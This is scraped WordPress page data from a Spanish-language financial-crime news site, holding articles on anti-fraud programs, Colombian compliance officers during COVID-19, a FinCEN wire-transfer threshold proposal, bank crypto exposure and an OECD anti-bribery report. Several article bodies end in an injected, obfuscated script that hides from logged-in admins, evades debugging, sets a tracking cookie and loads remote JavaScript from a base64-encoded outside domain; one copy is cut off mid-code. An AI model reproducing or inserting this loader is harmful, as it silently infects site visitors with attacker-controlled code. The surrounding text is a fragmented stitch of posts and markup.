Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. UU. y que los valores promedio y medios en d\u00f3lares de los fondos mencionados en los ROS eran de aproximadamente US$ 509 y US$ 255, respectivamente,\u00a0<a href=\"https:\/\/www.federalregister.gov\/documents\/2020\/10\/27\/2020-23756\/threshold-for-the-requirement-to-collect-retain-and-transmit-information-on-funds-transfers-and\" target=\"_blank\" rel=\"noopener noreferrer\">seg\u00fan la propuesta<\/a>.\u00a0<\/p><p>\u201cEs posible que algunas instituciones financieras no reconozcan o retengan registros de todas las actividades sospechosas por debajo del umbral de US$ 3.000 o el patr\u00f3n sospechoso no se hace visible hasta que se agreguen los registros\u201d, dijeron las agencias en la propuesta. \"Esto podr\u00eda impedir que las autoridades investiguen y mapeen las redes il\u00edcitas\".<\/p><p>El cambio de regla propuesto, para el cual las agencias piden al p\u00fablico que presente comentarios hasta el 27 de noviembre, aumentar\u00eda la carga de cumplimiento para los bancos y podr\u00eda encontrar resistencia de la industria, dijeron los observadores.<\/p><p>Esta nueva iniciativa podr\u00eda significar una carga importante para los bancos que terminar\u00eda encareciendo las transferencias internacionales de menor valor debido a que har\u00eda m\u00e1s caro la supervisi\u00f3n e incrementar\u00eda los costos de cumplimiento.<\/p><p>Sin embargo, las agencias de EE.UU. se\u00f1alaron que el cambio propuesto no deber\u00eda tener un gran impacto en el costo y la eficiencia del sistema de pago. Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 